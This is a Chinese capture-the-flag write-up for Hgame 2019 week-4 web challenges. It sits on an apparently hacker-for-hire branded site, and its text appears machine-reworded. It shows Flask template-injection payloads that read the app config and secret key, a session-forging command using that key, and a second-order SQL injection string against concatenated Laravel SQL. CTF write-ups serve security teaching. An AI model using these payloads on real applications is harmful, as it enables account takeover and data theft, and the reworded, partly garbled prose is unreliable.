CTF标题实战:2019-Hgame-Web-Week4

访客5年前黑客文章1187

前语
最近使用空余时刻做了一下Hgame,以下是部分web题题解。
happyPython
信息收集
发现是flask,顺手测验一下。
http://118.25.18.223:3001/{{1+1}}

发现或许存在SSTI,打了几发payload,发现都是500,想到测验一下过滤。
http://118.25.18.223:3001/%7B%7B'aa'.upper()%7D%7D

发现将()替换成了空。

SECRET_KEY获取
那么执行命令应该变得十分困难,可是网站有登录,注册功用。
顺手解了一下session。

猜想或许要假造user_id=1
那么不能执行命令,咱们能够进行信息读取,取得SECRET_KEY。
勘探了一下过滤,发现url_for还存在。
http://118.25.18.223:3001/%7B%7Burl_for%7D%7D

进一步了解一下。
url_for.__globals__

发现已经是,持续深化一下,读config。
url_for.__globals__['current_app'].config
得到回显
发现
'SECRET_KEY': '9RxdzNwq7!nOoK3*'
session假造
咱们进行session假造。
{u'csrf_token': u'f02a02e70216e476480f9f2be9a07eb76b96f7a5', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}
这儿直接改user_id不可,本以为有csrf_token,咱们需得到下一次csrf_token再假造。

此刻解密能够得到当时csrf_token。

进行假造
flask_session encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'322ad6ee5c7fb9984464d472c7dadc35e4501756', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}"
可是发现依然不可,这儿测验Python3,发现成功。


得到flag:hgame{Qu_bu_la1_m1ng_z1_14}。
happyPHP
信息收集
F12发现源代码有信息走漏。

下载源码后直接搜索flag。

发现需求变成id=1的用户才会得到flag。
二次注入
一起发现高危操作。
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
没有通过过滤,直接拼接name。
简单想到二次注入,这儿注册用户。
1' or 'a'='a
得到成果

发现能够注入,考虑需求注入的value。
这儿我直接以为注入id=1用户的暗码是没有效果的(后来发现便是注暗码= =),咱们发现这儿的暗码已加密。
$user = User::create([
            'name' => $request->name,
            'email' => $request->email,
            'password' => encrypt($request->password),
        ]);
咱们观察到数据库信息
public function up()
    {
        Schema::create('password_resets', function (Blueprint $table) {

[1] [2]  黑客接单网

相关文章

Python中eval带来的潜在危险

eval是Python用于履行python表达式的一个内置函数,运用eval,能够很便利的将字符串动态履行。比方下列代码: >>> eval("1+2") >>>...

Node.js使用的反向shell

布景介绍 一个小型Web开发者团队曾托付咱们对他们的移动使用进行安全评价,该使用的后端是一个REST API。该使用的架构很简单,只由3台linux服务器组成: Node.js MongoDB Red...

恣意用户暗码重置(五):重置凭据可暴破

在逻辑缝隙中,恣意用户暗码重置最为常见,或许出现在新用户注册页面,也或许是用户登录后重置暗码的页面,或许用户忘掉暗码时的暗码找回页面,其间,暗码找回功用是重灾区。我把日常浸透过程中遇到的事例作了缝隙成...

Anomali团队捕获了一个针对中国政府部门的网站钓鱼攻击行动-黑客接单平台

Anomali要挟研讨小组最近发现了一个网络垂钓网站假充中华人民共和国外交部电子邮件服务的登录页面。假如访问者测验登录这个垂钓页面,网站就会向他们弹出一条验证音讯,要求用户封闭窗口并持续阅读。研讨人员...

腐朽的苹果:对一大波iCloud垂钓网站的监测与剖析

国外的FireEye实验室有一套主动化体系,这套体系可以主动侦测最新注册的歹意域名。所谓的歹意域名,绝大部分都是假装成很多人知道的常用域名,以此来到达“歹意”的目的。比方说假装成苹果公司的域名——Fi...

深化了解Json Web Token之实战篇

原本想用python DRF 的 JWT做,后来各种失利。终究尝试了用Php,发现十分便当。 PHP 版别 PHP 7.2.4-1+b2 (cli),也便是kali linux自带的php,至于com...